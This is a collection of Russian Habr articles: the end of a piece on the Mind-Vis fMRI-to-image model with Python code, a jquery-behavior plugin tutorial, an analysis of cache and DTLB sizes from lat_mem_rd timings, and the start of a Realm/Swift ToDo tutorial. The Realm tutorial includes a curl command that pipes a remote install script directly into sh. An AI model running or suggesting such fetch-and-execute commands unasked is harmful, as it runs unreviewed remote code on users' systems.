if img.shape[-1] != 3:
img = rearrange(img, 'c h w -> h w c')
img = 255. * img
return Image.fromarray(img.astype(np.uint8))
def channel_last(img):
if img.shape[-1] == 3:
return img
return rearrange(img, 'c h w -> h w c')
```
Функция finetune обучает модель на заданных обучающих и тестовых наборах данных. Он использует PyTorch Lightning Trainer для обучения модели в течение заданного количества эпох.
Функция get\_args\_parser создаёт анализатор аргументов для анализа аргументов командной строки. Он определяет несколько аргументов, связанных с проектом и обучением модели, включая пути к данным и предварительно обученным моделям, размер пакета и скорость обучения, а также количество эпох.
Функция update\_config обновляет конфигурацию модели, устанавливая атрибуты объекта конфигурации в значения соответствующих аргументов командной строки.
Функция create\_trainer создаёт PyTorch Lightning Trainer с указанными настройками. Он устанавливает ускоритель на GPU, если GPU доступен, и устанавливает максимальное количество эпох для обучения, точность и количество пакетов накопления градиента. Он также устанавливает значение отсечения градиента и включает контрольные точки со сводкой модели.
```
# finetune the model
trainer = create_trainer(config.num_epoch, config.precision, config.accumulate_grad, logger, check_val_every_n_epoch=5)
generative_model.finetune(trainer, fmri_latents_dataset_train, fmri_latents_dataset_test,
config.batch_size, config.lr, config.output_path, config=config)
# generate images
# generate limited train images and generate images for subjects seperately
generate_images(generative_model, fmri_latents_dataset_train, fmri_latents_dataset_test, config)
return
def get_args_parser():
parser = argparse.ArgumentParser('Double Conditioning LDM Finetuning', add_help=False)
# project parameters
parser.add_argument('--seed', type=int)
parser.add_argument('--root_path', type=str)
parser.add_argument('--kam_path', type=str)
parser.add_argument('--bold5000_path', type=str)
parser.add_argument('--pretrain_mbm_path', type=str)
parser.add_argument('--crop_ratio', type=float)
parser.add_argument('--dataset', type=str)
# finetune parameters
parser.add_argument('--batch_size', type=int)
parser.add_argument('--lr', type=float)
parser.add_argument('--num_epoch', type=int)
parser.add_argument('--precision', type=int)
parser.add_argument('--accumulate_grad', type=int)
parser.add_argument('--global_pool', type=bool)
# diffusion sampling parameters
parser.add_argument('--pretrain_gm_path', type=str)
parser.add_argument('--num_samples', type=int)
parser.add_argument('--ddim_steps', type=int)
parser.add_argument('--use_time_cond', type=bool)
parser.add_argument('--eval_avg', type=bool)
# # distributed training parameters
# parser.add_argument('--local_rank', type=int)
return parser
def update_config(args, config):
for attr in config.__dict__:
if hasattr(args, attr):
if getattr(args, attr) != None:
setattr(config, attr, getattr(args, attr))
return config
def create_readme(config, path):
print(config.__dict__)
with open(os.path.join(path, 'README.md'), 'w+') as f:
print(config.__dict__, file=f)
def create_trainer(num_epoch, precision=32, accumulate_grad_batches=2,logger=None,check_val_every_n_epoch=0):
acc = 'gpu' if torch.cuda.is_available() else 'cpu'
return pl.Trainer(accelerator=acc, max_epochs=num_epoch, logger=logger,
precision=precision, accumulate_grad_batches=accumulate_grad_batches,
enable_checkpointing=False, enable_model_summary=False, gradient_clip_val=0.5,
check_val_every_n_epoch=check_val_every_n_epoch)
```
▍ Итоги
-------
Это очень важное для науки исследование на стыке нейробиологии и машинного обучения. Не дадут ли нам в конечном итоге искусственные нейронные сети понять наши? Куда это пойдёт дальше и сможем ли мы это использовать в медицинских целях? Следить за новыми технологиями для изучения работы человеческого мозга очень интересно и сегодня вы познакомились с одной из них.
Данная статья частично была написана нейросетью ChatGPT.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Nikuson&utm_content=kak_nejroset_mind_vis_preobrazuet_aktivnost_mozga_v_izobrazhenie) | https://habr.com/ru/post/706694/ | null | ru | null |
# Гибкое управление событиями в jQuery — плагин jquery-behavior
Привет, Хабр!
Меня зовут Вячеслав Гримальский, я работаю над конструктором посадочных страниц, в котором страница собирается перетаскиванием блоков.
Я расскажу об инструменте для работы с событиями, который изначально являлся частью конструктора, но затем был вынесен в отдельный плагин для jQuery — jquery-behavior.
Плагин использует функционал jQuery, дополняя его следующими возможностями:
* Работа с раздельными группами обработчиков событий. Для этого используются контроллеры событий.
* Можно отключить все обработчики событий контроллера разом, не перечисляя их.
* Слежение за срабатываниями обработчиков событий.
* Можно узнать точное количество вызовов каждого из них.
* Можно приостанавливать работу отдельных обработчиков событий, или всего контроллера разом.
* Возможность получить полный перечень обработчиков событий конкретного элемента, обработчиков событий с определенным пространством имен или просто всех обработчиков событий контроллера.
Покажу сразу, о чем идет речь:
```
// Создаем контроллер событий.
// Каждый контроллер работает со своей группой событий, и не знает о других контроллерах.
var behavior = $.Behavior();
// Добавляем обработчики событий. Синтаксис функций такой же, как в jQuery.
behavior('body').click(function () {});
behavior(window).on('resize.demo', function () {});
behavior('.top').on('click.demo', '.btn', function () {});
// Приостанавливаем выполнение обработчиков событий, подходящих фильтру.
behavior.pause({
types: '.demo'
});
// Возобновляем выполнение обработчиков событий, подходящих фильтру.
behavior.resume({
target: 'span',
types: 'click.demo'
});
// Отключаем все обработчики событий, созданные контроллером.
behavior.off();
```
Контроллеры событий
-------------------
```
var behavior = $.Behavior();
```
Контроллер событий — объект, который может добавлять обработчики событий, и который хранит о них всю информацию.
Он может удалять и приостанавливать обработчики событий, но только те, который в нем же и были добавлены.
Это позволяет разделять обработчики событий разных, независимых, частей проекта, и работать с ними отдельно.
### Работа с обертками в стиле jQuery
Плагин, позволяет создавать обертки объектов для работы с ними.
jQuery:
```
$('body').click(function () {});
$(window).on('resize', function () {});
```
Плагин:
```
behavior('body').click(function () {});
behavior(window).on('resize', function () {});
```
Здесь все функции и их синтаксис скопированы из jQuery, полный их список:
on one trigger triggerHandler off bind unbind delegate undelegate hover blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu
Вы можете просто взять работающий с событиями код на jQuery и заменить функцию "$" на «behavior», или как у вас будет называться контроллер событий, и все будет работать.
jQuery:
```
$('body').click(function () {}).one('mousemove', function () {}).trigger('click');
```
Плагин:
```
behavior('body').click(function () {}).one('mousemove', function () {}).trigger('click');
```
При этом все функции, создаваемые таким образом будут закреплены за используемым контроллером, и вы сможете работать с ними, используя все остальные функции контроллера.
### Добавление обработчиков событий — функции behavior.on() и behavior.one()
По аналогии с функциями jQuery, on добавляет обработчик события, а one добавляет обработчик события, который выполняется всего один раз.
Синтаксис такой:
```
behavior.on({
// Стандартные параметры
target: 'body', // Элемент, на которые вешается обработчик
types: 'click.namespace', // Название или названия события с пространствами имен
selector: '.btn', // Не обязательно. Селектор для делегирования событий
handler: function (event) {}, // Обработчик события
// Дополнительные параметры
throttle: { // Не обязательно. Создает обертку обработчика функцией _.throttle
wait: 1000,
leading: true,
trailing: true
},
after: 1, // Не обязательно. Создает обертку обработчика функцией _.after
log: true // Не обязательно. Позволяет "заглушить" логи событий, о которых позже.
});
```
Несколько примеров.
```
behavior.on({
target: window,
types: 'resize',
handler: handlerFn
});
// аналогично
behavior(window).on('resize', handlerFn);
```
```
behavior.on({
target: window,
types: 'resize',
handler: handlerFn,
throttle: {
wait: 200,
leading: false
}
});
// аналогично
behavior(window).on('resize', _.throttle(handlerFn, 200, { leading: false }));
```
```
behavior.on({
target: 'body',
types: 'click',
selector: '.btn',
handler: handlerFn,
after: 2
});
// аналогично
behavior('body').on('click', '.btn', _.after(2, handlerFn));
```
При использовании «полной» записи с параметрами after и throttle наличие библиотеки underscore или lodash не обязательно, поскольку эти функции встроены в плагин.
### Отключение событий — функция behavior.off()
Вы можете отключить одним вызовом все обработчики событий, созданные контроллером.
```
behavior.off();
```
Вы можете отключить все обработчики событий определенного элемента или группы элементов:
```
behavior.off({
target: window
});
// аналогично
behavior(window).off();
```
```
behavior.off({
target: $btns
});
// аналогично
behavior($btns).off();
```
```
behavior.off({
target: 'body .btn'
});
// аналогично
behavior('body .btn').off();
```
Вы можете отключить все обработчики событий определенного типа и пространства имен:
```
behavior.off({
types: 'click'
});
```
```
behavior.off({
types: 'click.namespace'
});
```
```
behavior.off({
types: '.namespace1, .namespace2'
});
```
```
behavior.off({
types: 'click.namespace1, .namespace2'
});
```
Вы можете удалять и делегированные события.
```
behavior.off({
target: 'body',
types: 'click',
selector: '.btn'
});
// аналогично
behavior('body').off('click', '.btn');
```
```
behavior.off({
target: 'body',
types: '.namespace',
selector: '**'
});
// аналогично
behavior('body').off('.namespace', '**');
```
А так же удалить все обработчики по ссылке.
```
behavior.off({
handler: handlerFunction
});
```
И конечно, все это вы можете комбинировать.
```
behavior.off({
target: 'body',
types: '.namespace',
handler: handlerFunction1
});
// аналогично
behavior('body').off('.namespace', handlerFunction1);
```
```
behavior.off({
target: 'body',
handler: handlerFunction1
});
```
### Приостановление и возобновление работы обработчиков — функции behavior.pause() и behavior.resume()
Аргументы такие же, как и у функции behavior.off().
Приостановить одним вызовом все обработчики событий, созданные контроллером.
```
behavior.pause();
```
И вернуть их в работу:
```
behavior.resume();
```
И далее все примеры по аналогии с behavior.off().
```
behavior.pause({
target: window
});
```
```
behavior.pause({
types: 'click.namespace1, .namespace2'
});
```
```
behavior.pause({
target: 'body',
types: 'click',
selector: '.btn'
});
```
```
behavior.pause({
target: 'body',
types: '.namespace',
handler: handlerFunction1
});
```
### Приостановление и возобновление работы контроллера — функции behavior.start() и behavior.stop()
Эти функции похожи на behavior.pause() и behavior.resume(), но имеют некоторые отличия.
Они работают не на уровне конкретных обработчиков событий, а на уровне контроллера, то есть останавливают не обработчики событий, а сам контроллер. Поскольку останавливается весь контроллер, то обработчики событий, добавленные после выполнения behavior.stop() работать не будут до тех пор, пока мы не возобновим работу контроллера функцией behavior.start().
При создании контроллера так же вызывается behavior.start(), а при его разрушении — behavior.stop().
### События контроллера
При создании контроллера можно указать параметры onStart, onStop и onFire.
```
var behavior = $.Behavior({
onStart: function (data) {},
onStop: function (data) {},
onFire: function (event) {}
});
```
Функция onFire, вызывается при каждом срабатывании любого из обработчиков событий контроллера. Аргументы и контекст получает те же, что и обработчик события.
Функция onStart выполняется при вызове behavior.start(). Может принимать первый аргумент.
Функция onStop, что логично, выполняется при вызове behavior.stop(), и так же может принимать первый его аргумент.
Чтобы создаваемый контроллер событий изначально был выключен, onStop не вызывался, а события не выполнялись, пока вы не вызовете behavior.start(), нужно при создании контроллера указать флаг active со значением false:
```
var behavior = $.Behavior({
active: false
});
```
### Разрушение контроллера — behavior.destroy()
Если контроллер больше не нужен, события нужно выключить, и очистить всю память, стоит воспользоваться этой функцией.
Использование нескольких контроллеров
-------------------------------------
Вы можете использовать один контроллер на весь проект, а можете эффективно делить события на разные контроллеры.
Хороший пример — реализация Drag'n'Drop с помощью плагина.
Один контроллер — события «спящего» состояния, другой — события перетаскивания, и мы между ними просто переключаемся.
Демо на JSFiddle: [http://jsfiddle.net/fm22ptxv/](http://jsfiddle.net/fm22ptxv/9/)
Большие красные пиксели перетаскиваются мышкой.
Инструменты для отладки
-----------------------
В плагин встроены инструменты для отладки, позволяющие понять, что происходит с обработчиками. Какие из них до сих пор активны, какие вызываются, а какие бездействуют, и сколько их вообще «в живых» осталось.
### Получение информации о контроллере — behavior.data()
Возвращает всю необходимую информацию о контроллере — текущее состояние, список обработчиков событий.
```
{
log: false,
namespace: "bhvr",
onFire: null,
onStart: null,
onStop: null,
records: Array
}
```
Важно понять, что из себя представляют объекты из массива records.
Допустим, у нас есть 2 кнопки с классами .btn1 и .btn2, и мы хотим назначить им по 2 одинаковых обработчика события:
```
behavior('.btn1, .btn2').on('mousedown mouseup', handler);
```
На самом деле будет добавлено 4 «низкоуровневых» обработчика событий, как если бы мы писали так:
```
behavior('.btn1').on('mousedown', handler);
behavior('.btn1').on('mouseup', handler);
behavior('.btn2').on('mousedown', handler);
behavior('.btn2').on('mouseup', handler);
```
Так вот, поле records будет содержать информацию о обработчиках в таком виде, как мы их обьявляем.
В нашем примере это:
```
{
targets: JQuery[], // содержит $('.btn1, .btn2')
types: 'mousedown mouseup', // названия событий и пространства имен
handler: function (event) {}, // обработчик события
selector: undefined, // селектор для делегирования событий
calls: 0, // количество вызовов обработчика handler
bindings: Array // те самые "низкоуровневые обработчики"
}
```
А уже в bindings из records будет 4 подобных объекта:
```
{
target: JQuery[], // содержит $('.btn1')
type: 'mouseup', // название события
namespaces: string[], // список пространств имен
handler: function (event) {}, // обработчик события
selector: undefined, // селектор для делегирования событий
calls: 0, // количество вызовов обработчика handler
paused: false // состояние обработчика
}
```
Количество вызовов (calls) объекта в records всегда будет равняться сумме количеств вызовов всех его bindings.
А в bindings они различны, и считаются отдельно, что удобно, когда нужно узнать, какие конкретно обработчики событий вызываются, и на каких элементах они срабатывают.
### Получение списка обработчиков событий — функция behavior.filter()
Выполняет поиск по всем «низкоуровневым» обработчикам, и возвращает их список.
Синтаксис у функции такой же, как и у behavior.off(), behavior.pause() и behavior.resume().
Получение полного списка обработчиков.
```
behavior.filter();
```
Получение обработчиков событий объекта:
```
behavior.filter({
target: window
});
```
И так далее.
```
behavior.filter({
types: 'click.namespace1, .namespace2'
});
```
```
behavior.filter({
target: 'body',
types: 'click',
selector: '.btn'
});
```
```
behavior.filter({
target: 'body',
types: '.namespace',
handler: handlerFunction1
});
```
### Логи событий
Иногда удобно бывает отслеживать, какое событие когда выполняется.
Контроллер имет встроенный механизм логов, который выводит в консоль информацию о каждом выполнении обработчика событий, а так же об остановке и продолжении работы самого контроллера (функции behavior.stop() и behavior.start()).
Чтобы контроллер событий выводил в консоль информацию обо всем, что происходит, достаточно при создании контроллера указать флаг log со значением true:
```
var behavior = $.Behavior({
log: true
});
```
Так же вы можете включить логи уже после создания контроллера:
```
behavior.logOn();
```
Выключить логи можно так:
```
behavior.logOff();
```
Вы можете назначить свой обработчик логов, который вместо вывода сообщений в консоль будет делать то, что нужно вам.
Для этого при создании контроллера нужно указать функцию logFn:
```
var behavior = $.Behavior({
logFn: function (type, behavior, event, data) {}
});
```
Аргумент type содержит тип лога — start, stop или fire. Аргумент behavior содержит ссылку на сам контроллер. Дальше идут те аргументы, которые передаются в обработчик события, это event и data. Аргумент data может отсутствовать.
Тестирование
------------
Для того, чтобы протестировать работу плагина, были взяты [родные тесты событий jQuery](https://github.com/jquery/jquery/blob/master/test/unit/event.js), и слегка адаптированы под себя.
При этом в тестах были обнаружены несколько обработчиков событий, которые не удалялись, хотя за этим в тестах пытаются следить. Мой коммит с исправлением этого был [принят в jQuery](https://github.com/jquery/jquery/commit/4467ed606ab0a9b28ed495e682576910937fa5e0).
Так же были написаны тесты для функций, и ситуаций, который не затрагиваются родными тестами.
Заключение
----------
Первая версия плагина была написана около полутора года назад. С тех пор плагин многократно переписывался и дорабатывался, пока не принял свой текущий вид.
Все это время он активно используется мной в разработке, и он на самом деле очень удобен.
Буду рад любым комментариям, замечаниям и предложениям.
Ссылка на гитхаб: <https://github.com/grimalschi/jquery-behavior>
Большое спасибо! | https://habr.com/ru/post/237501/ | null | ru | null |
# Экспериментальное определение характеристик кэш-памяти
В ряде случаев (например, для тонкой оптимизации программы под конкретный компьютер) полезно знать характеристики кэш-подсистемы: количество уровней, время доступа к каждому уровню, их размер и ассоциативность, и т.п.
Для одноразовой оптимизации необходимые значения можно посмотреть в спецификации на компьютер, но когда требуется автоматическая оптимизация (например, во время сборки и установки программы), характеристики приходится определять косвенно, по результатам прогона специального набора тестов.
Удобная тестовая программа для Linux — `lat_mem_rd` из пакета тестов [lmbench](http://www.bitmover.com/lmbench/). Её работа заключается в том, что она выделяет в памяти массив и читает его элементы с заданным шагом, циклически проходя по массиву снова и снова. Затем выделяется массив большего размера, и т.д. Для каждого значения шага и размера массива подсчитывается среднее время доступа.
Пример графика, который был получен этой программой на реальной системе: [](https://web.archive.org/web/20161019133619if_/http://webcourse.cs.technion.ac.il:80/234267/Winter2010-2011/hw/WCFiles/cache.pdf)
Вспомним, что кэш разбит на блоки (строки): каждый блок хранится как неделимая единица, и читается из следующего уровня памяти целиком. Младшие биты адреса определяют смещение искомого байта в блоке кэша. Блоки обычно организованы двумерно: несколько сетов, из которых нужный выбирается по следующим младшим битам адреса; и несколько вейев, из которых нужный выбирается произвольно — чаще всего, по правилу LRU.
Для каждого блока хранится тэг, содержащий адрес хранимых в блоке данных в основной памяти. При обращении к памяти все теги нужного сета сравниваются с тегом искомого адреса. Например, для кэша из 32 блоков, организованных в 4 вея:
Благодаря тому, что сет выбирается по младшим битам адреса, непрерывный в памяти массив будет располагаться непрерывно и в кэше. Например, если размер блока — 64 байта, и первый блок массива попал в сет 0:
Если массив помещается в кэше целиком, то при обращении к нему не возникает промахов: каждый следующий блок массива попадает в следующий свободный вей. При последующих проходах по массиву он весь будет читаться из кэша, и новых обращений к памяти следующего уровня не потребуется.
Если же размер массива превышает размер кэша, то в соответствии с правилом LRU первые блоки массива будут вытеснены его последними блоками. Например, если массив состоит из 35 блоков, то первые три блока будут вытеснены:
Теперь при втором проходе по массиву первые три сета будут заполняться по-новой из следующего уровня памяти, а остальные пять сетов будут читаться прямо из кэша. В конце второго прохода последние три блока снова вытеснят первые блоки массива:
Таким образом, при каждом следующем проходе 20 блоков будут читаться из кэша, а остальные 15 — из следующего уровня памяти. Когда размер массива превышает размер кэша на целый вей (в нашем примере, на 8 блоков), данные между проходами не будут сохраняться в кэше: каждое обращение будет приводить к промаху и к чтению нового блока из памяти следующего уровня.
Что имеем в сухом остатке?* пока массив меньше кэша, время доступа к нему будет постоянным (0% промахов)
* когда массив больше кэша менее чем на один вей, время доступа к нему будет зависеть от размера «излишка»
* когда массив больше кэша на один вей или более, время доступа к нему будет постоянным (100% промахов)
Поэтому каждому уровню кэша соответствует одна «ступенька» на графике, и размер кэша — *левый край ступеньки*. На графике, приведённом в начале, ступеньки две — 32КБ и около 4МБ, значит, кэш двухуровневый.
Далее, по крутизне ступеньки можно судить об ассоциативности кэша. Если кэш неассоциативный (прямое отображение: только один вей), то размер вея равен размеру кэша, и 100% промахов начинаются с *двукратного* размера кэша. Если кэш двухвейный, то размер вея — половина размера кэша, и правый край ступеньки — полтора размера кэша. И так далее: если кэш полностью ассоциативный (только один сет), то размер вея равен размеру блока, и ступенька вертикальная: превышение размера кэша даже на один блок приводит к 100% промахов.
На нашем графике первая ступенька чётко вертикальная, а вторая довольно размазанная. Можно сделать вывод, что кэш первого уровня разденьный для кода и данных, и поэтому каждый проход по массиву вызывает одни и те же события в кэше; а кэш второго уровня общий, поэтому в нём лежит также и код тестовой программы, и код и данные ОС; поэтому вторая ступенька начинается ещё до того, как размер массива достигнет размера кэша. Размер кэша — это тот размер массива, с которого начинается воспроизводимый линейный рост времени доступа к массиву; на нашем графике это 6МБ, что подтверждается и данными спецификации на процессор.
Зависимость времени доступа от размера массива проанализирована. Что насчёт размера шага? Первый важный факт: для одного и того же размера массива размер шага не влияет на количество промахов. Если шаг больше размера блока, то в кэш будет читаться не весь массив, а отдельные блоки; часть сетов останутся свободными. В любом случае, получаем 0% промахов до тех пор, пока массив меньше кэша, и 100% промахов, если массив больше на один вей. Например, для массива размером 36 блоков, и шага в 128 байт (2 блока):
На каждом проходе возникает промах в сетах 0 и 2, и 10 блоков читаются из памяти по-новой. Содержимое сетов 4 и 6 (8 блоков) сохраняется между проходами, и читается напрямую из кэша. Имеем 10/18=56% промахов. Если же шаг равен 256 байт (4 блока):
На каждом проходе возникает промах в сете 0, и 5 блоков читаются из памяти по-новой. Содержимое сета 4 (4 блока) сохраняется между проходами, и читается напрямую из кэша. Имеем 5/9=56% промахов.
Ситуация несколько меняется, если размер шага превышает размер вея: в этом случае «пропущенные» веи остаются свободными, и в кэш помещаются все прочитанные блоки массива, даже если сам массив больше размера кэша. Например, для массива размером 64 блока, и шага в килобайт (16 блоков), читаются всего четыре блока, и все они попадают в один и тот же сет:
Аналогичная ситуация всегда имеет место с полностью ассоциативным кэшем, у которого размер вея совпадает с размером блока. Отличительная черта такого прохода — левый край ступеньки сдвигается в зависимости от размера шага: вдвое большему шагу соответствует вдвое больший «кажущийся» размер кэша, потому что каждый второй вей «пропускается» при чтении.
На графике, приведённом в начале, левые края ступенек совпадают для всех размеров шага — значит, размер вея каждого кэша больше максимального из испробованных размеров шага, и составляет как минимум 4КБ. Для кэша L1 видим вертикальную ступеньку: 0% промахов для массива размером 32КБ, и 100% промахов для массива в 36КБ. Как мы видели выше, это означает, что добавка 4КБ наполняет вей целиком; стало быть, размер вея — в точности 4КБ, т.е. кэш L1 восьмивейный.
Для кэша L2 видим линейный рост примерно до 12МБ, т.е. до удвоенного размера кэша, что соответствует неассоциативному кэшу. Тем не менее, в спецификации на процессор указано, что кэш L2 24-вейный, т.е. с размером вея 256КБ. Можно сделать вывод, что либо реализация кэша не соответствует спецификации (разве кто-то обратил бы на это внимание?), либо алгоритм выбора вея отличается от LRU. В любом случае стоит отметить, что фактическое время доступа к кэшу при циклическом проходе по большому массиву оказывается *лучше* (более пологая ступенька), чем если бы кэш был на самом деле 24-вейным LRU.
И ещё пара интересных явлений, которые можно наблюдать на графике. Начиная с массива размером 1МБ, время доступа к памяти зависит от величины шага — как мы видели выше, это невозможно объяснить возникновением промахов в кэше. Похожая картина наблюдалась бы, будь размер шага меньше размера блока: тогда после переполнения кэша число промахов достигает не 100%, а меньшего уровня, зависящего от размера шага. Для шага в полблока получаем 50% промахов (после каждого чтения блока из памяти следующего уровня, читаем следующий элемент массива уже из кэша); для шага в четверть блока получаем 25% промахов (после каждого чтения блока из памяти — три чтения из кэша), и т.д. Как же могут быть в кэше блоки размером в несколько килобайт?
Дело, как можно догадаться, в страничной организации памяти, и в переполнении DTLB. 1МБ — это 256 четырёхкилобайтных страниц; значит, ёмкость нашёго DTLB — 256 записей. Когда массив превышает 1МБ, то при каждом чтении элемента, кроме чтения собственно данных массива, требуется прочитать из памяти ещё и запись таблицы страниц (PTE). Для шага в 512 байт после каждого чтения PTE следуют семь попаданий в DTLB, и 12% промахов едва заметно повышают время доступа к массиву. С другой стороны, для шага в 4КБ каждое чтение PTE выполняется из памяти (100% промахов в DTLB), и время доступа растёт существенно. Видим, что 100% промахов в DTLB достигаются не немедленно, а на массиве размером 1280КБ, т.е. превышающем ёмкость DTLB на четверть. Заключаем из этого, что DTLB четырёхвейный.
Другое интересное явление — что время доступа к массиву, превышающему размер кэша L2 (т.е. каждое обращение выполняется к памяти последнего уровня, RAM) также зависит от размера шага, причём разница больше, чем можно было бы объяснить промахами в DTLB. Дополнительную разницу объясняет протокол SDRAM, в котором разделены операции «открытия строчки памяти» и «чтения из открытой строчки». Аналогично с промахами в DTLB, меньший шаг позволяет прочитать следующий элемент массива из уже открытой строчки, тогда как при большем шаге требуется открывать новую строчку при каждом обращении. Численную проверку соответствия наблюдаемой задержки задержке открытия строчки я не выполнил, т.к. не смог найти спецификацию на использованные модули памяти.
##### С новым годом, хабровчане! | https://habr.com/ru/post/111011/ | null | ru | null |
# Создание приложения ToDo с помощью Realm и Swift
С развитием смартфонов в последние годы было разработано много инструментов, чтобы упростить жизнь разработчикам, обеспечив их максимальной производительностью и качеством. Занимать лидирующие позиций в App Store сегодня не простое задание. А научить ваше приложение масштабироваться еще сложнее. Когда приложением пользуются миллионы пользователей, вы должны следить за приложением и при необходимости выполнять все операции моментально. Поэтому одной из проблем, с которой сталкиваются многие разработчики, является Database. Она действительно вызывает сильную головную боль для каждого из нас, и я думаю, что сегодня у вас есть только два варианта: SQLite и Core Data. Я был большим поклонником Core Data и его способностью работать с записями и сохраняющимися данными, но я понял, что впустую трачу много времени, работая с ним при разработке приложений. Недавно, я столкнулся с [Realm](https://realm.io), новой лучшей заменой SQLite и Core Data.
### Что такое Realm?
Realm — кросс-платформенная мобильная база данных для iOS (доступная в Swift & Objective-C) и Android. Realm была создана, чтобы стать лучше и быстрее, чем SQLite и Core Data. Она не только лучше и быстрее, но и простая в использовании, так вы можете сделать многое с помощью всего нескольких строк кода. Realm является совершенно бесплатной, и вы можете использовать ее без каких-либо ограничений. Realm создана для мобильных приложений, и это новинка, так как в последнее десятилетие, мы не замечали инноваций в мобильных базах данных. Теперь, чтобы работать с мобильной базой данных, у вас есть только один вариант, который является SQLite или любой оберткой, которая использует SQLite. Realm разработана, чтобы быть простой в использовании, так как она не ORM, и она использует свой собственный механизм персистентности для большей производительности и скорости выполнения.
### Почему Realm?
[Realm](https://realm.io/) невероятно быстра и проста в использовании, Вам потребуется всего пара строк кода для выполнения любой задачи независимо от того читает ли она или записывает в базу данных. Здесь я попытаюсь собрать все преимущества и причины, почему использование Realm является лучшим выбором при работе с базой данных в мобильном приложении:
* **Простая в установка:** об этом Вы узнаете в следующем разделе о работе с Realm. Установить Realm более легко, нежели вы можете себе представить. С помощью простой команды в Cocoapods, вы перейдете к работе с Realm.
* **Быстрая:** Realm — невероятно быстрая библиотека для работы с базой данных. Realm быстрее, чем SQLite и CoreData, и сравнительные тесты здесь — лучшее доказательство для этого.
* **Кросс-платформенная:** файлы базы данных Realm кросс-платформенные и могут совместно использоваться iOS и Android. Независимо от того, Вы работаете с Java, Objective-C, или Swift, Вы будете использовать высокоуровневые модели.
* **Масштабируемая:** масштабируемость очень важно рассмотреть при разработке мобильного приложения, если приложение работает с большим количеством пользователей и большим количеством записей. Вы должны учесть это с самого начала при проектировании и выборе инструментов. Realm готова к масштабируемости и работе с большими объемами данных в кратчайшие сроки. Вы привнесете скорость и сглаживания к Вашему приложению при использовании Realm.
* **Хорошо документированная и есть отличная поддержка:** команда Realm предоставила читаемую, хорошо организованную документацию о Realm. Если у вас возникли проблемы, вы можете связаться с ними через Twitter, Github или Stackoverflow.
* **Надежная:** Realm используется компаниями в мобильных приложениях, как Pinterest, Dubsmash, и Hipmunk..
* **Бесплатная:** со всеми этими удивительными функциями Realm абсолютно бесплатна.
### Давайте начнем
Давайте начнем работу с Realm, используем его для создания простого приложения под iPhone с помощью Swift. Демонстрационный проект будет простым Todo приложением. Пользователь может добавить Task в Task Lists (Списки задач), каждый список сможет содержать несколько задач. У задачи есть заголовок, примечания, дата, изображение, и булевское значение, которые указывают на ее завершение или наоборот. Перед началом работы с проектом в Xcode. Мы должны сначала настроить Xcode и установить необходимые инструменты для работы с Realm.
### Требования
Пожалуйста, учитывайте следующие требования:
* iOS 8 или выше, OS X 10.9 или выше.
* Xcode 6.3 или выше.
* У Realm есть две версии, одна для Swift 2.0 и другая для Swift 1.2. Мы рекомендуем использовать Realm для Swift 2.0. Вы можете использовать его для Swift 1.2, но она не будет больше поддерживаться командой Realm в будущем, так что для безопасности лучше использовать версию Swift 2.0.
### Настройка Xcode и необходимых Tools
Прежде чем приступить к настройке проекта в Xcode, пожалуйста, убедитесь, что вы установили [CocoaPods](http://habrahabr.ru/company/luxoft/blog/149631/) на ваш компьютер, поскольку мы будем использовать его для установки Realm в проект Xcode. Если Вы не знакомы с [CocoaPods](https://cocoapods.org), вы можете ознакомиться онлайн с несколькими руководствами, и почерпнуть для себя дополнительную информацию для начала работы.
Теперь, создайте новый проект в Xcode с шаблоном “Single View Application” и назовите его “RealmTasks” или как угодно. Удостоверьтесь, что Swift выбран как язык разработки. Теперь перейдите к каталогу проекта в терминале и выполните следующую команду, чтобы инициализировать CocoaPods.
```
pod init
```
Тогда откройте файл pod, сгенерированный программой Xcode, и отредактируйте его, чтобы добавить *pod ‘RealmSwift’* прямо после целевого объекта, таким образом, это должно выглядеть подобным образом:
Далее выполните команду “pod install”, чтобы загрузить Realm в проект. После окончания, вы увидите новую workspace для Xcode, созданную рядом с файлом проекта. Пожалуйста, откройте workspace, RealmTasks.xcworkspace вам больше не прийдется открывать xcodeproj. После того, как Вы откроете workspace, Вы увидите что-то вроде этого:
Теперь Xcode готов работать с Realm, но нужно установить еще некоторые инструменты, чтобы еще больше упростить работу с Realm.
### Установка плагина Realm для Xcode
Команда Realm предоставила очень полезный плагин для Xсode, который можно использовать для создания моделей Realm. Для установки плагина мы будем использовать [Alcatraz](http://alcatraz.io/). Для людей, которые не знают что такое Alcatraz, это — очень простой и полезный диспетчер пакетов с открытым исходным кодом для автоматической установки плагинов, шаблонов в XCode. Чтобы установить Alcatraz, просто вставьте следующую команду в терминале и затем перезапустите Xсode.
```
curl -fsSL https://raw.githubusercontent.com/supermarin/Alcatraz/master/Scripts/install.sh | sh
```
Тогда в Xcode, выберите Window и выберите Package Manager, как на следующем изображении:
Тогда откроется всплывающее окно, в нем выберите какой плагин или шаблон нужно установить для Xcode, в панели поиска вы можете искать любые плагины или шаблоны для настройки вашего Xcode. Ведите “Realm” в панели поиска, и плагин “RealmPlugin” появится, затем нажмите **Install**.
### Realm Browser
Последний инструмент, о котором я хочу упомянуть — это браузер Realm. Этот браузер помогает Вам читать и редактировать свои .realm файлы баз данных. Эти файлы создаются в Вашем приложении со всей информацией о сущностях, атрибутах и записях в таблицах базы данных. Мы уже говорили, что эти файлы могут совместно использоваться различными платформами как iOS или Android. Чтобы загрузить инструмент браузера области действия посетите магазин iTunes для загрузки последней версии. Откройте приложение, тогда выберите Tools -> Generate demo database. Это создаст тестовый realm файл базы данных, и Вы сможете открыть и посмотреть его содержимое с помощью браузера. Это будет выглядеть следующим образом, когда Вы открываете свою демонстрационную базу данных:
Как видите в классе RealmTestClass1, есть 1000 записей, и он показывает различные типы параметров (столбцы) этого класса. Мы погорим о типах свойства поддержки в следующих разделах.
*Теперь все готово к работе с Realm. Давайте начнем.*
### Классы модели для базы данных
Теперь игра началась! Сначала мы создадим классы моделей или нашу базу данных. Чтобы создать классы моделей в Realm, просто создаете обычные классы Swift, которые расширяют класс объекта. Думайте об Объекте как о базовом классе для всех классов модели Realm, также можете расширить любой класс, которые расширяют Объект в конце. Как только вы создадите свой класс, вам понадобятся свойства. Realm поддерживает различные типы свойств следующим образом:
```
– Int, Int8, Int16, Int32, and Int64
– Boolean
– Float
– String
– NSDate
– NSData
– Class расширяет Object - используется для отношений 'один к одному'
– List - используется для отношений 'один ко многим'
```
